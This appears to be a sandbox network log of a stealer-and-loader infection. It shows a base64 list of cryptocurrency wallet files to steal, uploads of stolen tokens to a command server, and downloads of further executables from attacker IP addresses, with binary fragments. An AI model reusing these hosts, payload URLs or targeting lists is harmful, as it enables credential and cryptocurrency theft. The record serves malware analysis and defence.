Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 19, 2024 18:00:51.065432072 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="message"files------HDGDGHCAAKECFHJKFIJK--
Nov 19, 2024 18:00:51.287697077 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 18:00:51.300841093 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHIEBKJKFIEBGDGDAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="file"------KKEHIEBKJKFIEBGDGDAA--
Nov 19, 2024 18:00:52.021193981 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 18:00:52.072199106 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 2d 2d 0d 0a Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="message"ybncbhylepme------EBGCFBGCBFHJECBGDAKK--
Nov 19, 2024 18:00:52.295299053 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 19, 2024 18:00:54.960097075 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBGIDGCAFCBKECAAKJJK--
Nov 19, 2024 18:00:55.676649094 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	62272	185.215.113.16	80	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:00:52.304733038 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 19, 2024 18:00:53.023225069 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 17:00:52 GMT Content-Type: application/octet-stream Content-Length: 1913856 Last-Modified: Tue, 19 Nov 2024 16:48:46 GMT Connection: keep-alive ETag: "673cc16e-1d3400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0L@`L@WkH<LL @.rsrcH@.idata @ P+@bapykixb 2@bvnfygjx L@.taggant00L"@
Nov 19, 2024 18:00:53.023252010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:00:53.023266077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:00:53.023359060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:00:53.023380041 CET	896	IN	Data Raw: 8f 12 80 29 06 e4 4f db e4 b1 6e 0d 4a bd f0 42 f5 85 07 ce 7b 67 43 97 52 47 e7 04 4f d3 f2 5d b3 0f 5f 90 b4 cf 76 69 52 d8 8e 67 d6 b6 7d 45 a6 d7 32 a9 a0 b9 c1 be b3 c6 02 ba 0b 64 f0 3e d6 53 9c 5a 6e 98 cb 3d 04 04 f2 67 16 c6 ba 53 05 38 Data Ascii: )OnJB{gCRGO]_viRg}E2d>SZn=gS8$-YoSR^wsZ:PGN^&Sz#jxi+hAb:wQOcicQ%V~W^%vS1.W/6,R6
Nov 19, 2024 18:00:53.023392916 CET	1236	IN	Data Raw: b9 0d a6 ad 22 c7 f6 59 0a b8 ef 5d cb c5 5d f3 a4 47 8c 66 06 a3 e3 65 ef 13 60 07 73 c9 d0 9d f3 1b e7 f8 0e f5 00 1e 12 b6 9d c4 80 17 b0 ed 04 98 ff 3d ae 04 99 85 2c e3 cb fb ce 53 ce dd 0b 24 70 c9 d8 25 e1 04 6f d3 f2 fd 10 0f ff 2f 45 07 Data Ascii: "Y]]Gfe`s=,S$p%o/EHh[%[dJyQ6y1',]`D]!H^eu[Y^C%S:Y&u8h$#uid>xTKRlUSm$7
Nov 19, 2024 18:00:53.023405075 CET	1236	IN	Data Raw: dc 2d c4 b8 a9 8f 02 67 25 cf ac a0 f8 cf 4c 69 b1 d5 52 c2 fc 41 01 56 bd 6c 92 c3 cc 76 67 d4 2d 78 54 07 09 74 ce 81 46 c3 38 23 0a b1 62 38 0e af fa af 3a a7 62 ff 84 54 95 e9 f4 4c 48 cd a6 06 fa 2f a5 8f 9c b5 51 91 88 11 c5 06 0a 38 5b 8f Data Ascii: -g%LiRAVlvg-xTtF8#b8:bTLH/Q8[^4q(Gji{nI)H6v/59rP=}bkodNO2;E?K&&-+XDh]nT)tJa`66:,od&Vx
Nov 19, 2024 18:00:53.023417950 CET	1236	IN	Data Raw: da 6a 41 b0 07 54 18 9a f0 ff b9 40 0a 70 b6 28 99 87 27 01 78 b5 f6 e0 5a 1f a2 6a 62 67 9c 38 51 24 3e aa 63 2e d8 e2 2a ac 3f df e3 36 5b 18 12 c7 37 b7 08 f2 c6 a8 29 83 c5 29 0e 54 98 6f 1f 5e fe 3a 66 cf 7c a0 2b 49 6d 6f f4 33 cf d5 ac d3 Data Ascii: jAT@p('xZjbg8Q$>c.*?6[7))To^:f\|+Imo34#t5J'd6;t@mJxva@~SX]%[S'LROc0EoP-[4DbJm(b#\d~ oclW&qwye(DA7p
Nov 19, 2024 18:00:53.023431063 CET	1236	IN	Data Raw: f6 10 30 3b 2e 5b b9 38 9e e9 17 5b bc 71 7b da 8e 9c 18 ee 1d d8 85 06 da 8b 12 5c ec fe 94 8e 32 59 50 5c 4e 35 fa 51 76 3a ce 85 30 fb 8b 08 7b 03 0c d9 38 35 0b c6 71 b5 74 81 08 52 37 38 04 63 c8 6a 35 58 0f 46 eb 35 03 80 33 af 01 aa 0a 94 Data Ascii: 0;.[8[q{\2YP\N5Qv:0{85qtR78cj5XF53f;IKII_>S*{%{54=+,j?oD&QfM\,.fX'b&'iViz=f'ySTKpJ(}P\)(X
Nov 19, 2024 18:00:53.023442984 CET	328	IN	Data Raw: 69 ff 95 45 06 b3 d0 a7 c2 1a de a4 35 e8 53 a4 64 fc cd a5 50 12 91 cf 2c 7c 9a fa a9 79 03 11 2c ee 0c 10 f5 5c 46 d6 da 3d 1c 68 4b 86 d1 a2 46 57 37 4d 2d 7c e1 27 71 88 94 13 4b e3 77 82 3e c8 f9 2b 88 f7 4b 6b 61 ef 61 80 e0 a2 80 20 e2 c7 Data Ascii: iE5SdP,\|y,\F=hKFW7M-\|'qKw>+Kkaa Mno. 9'xEn:i0n-b&W%*Pb!'IgTO9.(Jf}2X'(\HdnR#2L$> RF
Nov 19, 2024 18:00:53.028198004 CET	1236	IN	Data Raw: 5d b4 82 03 30 10 9f 2a c2 56 2b 0e f7 c1 92 90 fe 05 b4 de 4e 39 91 66 ac 58 80 4a 4a bd 9b 31 ce 93 08 dd 29 e5 ed 43 a5 71 80 08 30 72 41 25 68 9d df a3 02 dd 8a a6 26 57 82 aa 6f 1a 4c 69 52 d7 0d 06 e4 5e d6 65 e6 84 ab bf b8 7f fd b5 25 c1 Data Ascii: ]0V+N9fXJJ1)Cq0rA%h&WoLiR^e%4mL oA[og&_CL0XUo\)53#>U)8VjgBl3sjIel5hEFyU6sJ:~E=KQo]8n[p?[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	62702	185.215.113.43	80	8736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:02:04.690043926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 18:02:05.401263952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 17:02:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	62703	185.215.113.43	80	8736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:02:06.911350965 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 19, 2024 18:02:07.633419991 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 17:02:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 34 35 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 34 35 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 34 35 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 34 35 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007450001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007455001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007456001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007457001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007458001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	62704	31.41.244.11	80	8736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:02:07.642349958 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 19, 2024 18:02:08.350914955 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 17:02:08 GMT Content-Type: application/octet-stream Content-Length: 4408320 Last-Modified: Tue, 19 Nov 2024 14:51:52 GMT Connection: keep-alive ETag: "673ca608-434400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 a0 b9 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 b9 00 00 04 00 00 d8 cb 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 8b b9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b b9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2H@C@ _pesP Pel'@.rsrc `e\|'@.idata pe\|'@ p8e~'@wqksuucf'@rqjjbreyC@.taggant0""C@
Nov 19, 2024 18:02:08.350946903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:08.350963116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:08.350977898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:08.350992918 CET	896	IN	Data Raw: f8 ac c2 d4 45 3d ea 6e 0b f7 33 72 d7 6c bd cc db d0 bd 27 2b 3f 2b f2 07 89 6c f0 b6 a5 32 23 e7 b4 5f 8d 0f 64 13 94 d2 81 10 fc cf ac b8 fd 84 a5 db f8 46 3f 3d 6e cb 3e 29 2c 03 2b d1 4c 00 17 81 8f 1b 86 34 a6 64 fc 21 2c c4 3e 8c 83 ba 1f Data Ascii: E=n3rl'+?+l2#_dF?=n>),+L4d!,>ti'q+=3\|A,KDX8b" 4[NG0gCUvb!1Us+5xq\N){=tvPT\C,&TLMxts+$\GT7
Nov 19, 2024 18:02:08.351007938 CET	1236	IN	Data Raw: d1 90 2d e9 95 64 aa e3 48 e0 c9 1c ff ed 9f 21 f3 5f 9d 61 af ee a3 2c ad 47 b4 e1 b9 8e 60 93 93 e4 69 66 14 92 6a ad db f1 f3 a9 22 26 14 9c f7 80 f2 0b 11 ef 1d 31 84 36 20 44 be 47 f4 14 18 8a 8c 6b 29 92 87 a2 66 2e 16 8c ee ee cf 41 0c 33 Data Ascii: -dH!_a,G`ifj"&16 DGk)f.A3i@-c\[">$?K+e*TmC-o+.F9s`0/-9kGXX~iaBr\|,pfNn=(Y.^(tc%(G
Nov 19, 2024 18:02:08.351023912 CET	224	IN	Data Raw: 84 18 6d f2 6f 1c a7 f2 81 2b c0 7f bd 09 30 8d ff 6f 34 a3 7d 0f cc de cc 11 74 25 8b 77 59 b4 1b d5 63 b2 c2 a7 a7 11 88 d2 61 6e fa 88 59 e3 c9 8e 09 a5 27 00 14 ed d6 88 2b 90 c2 39 fc c5 ed 3d 9e 12 bd 9f c4 a8 fc 58 fc 9c d1 d5 58 73 d9 8a Data Ascii: mo+0o4}t%wYcanY'+9=XXs-+)hz wuRh*~[\|(.$'-g_nl@%JD5`};`t+%T%xv1`'ijp6<poeqBUi
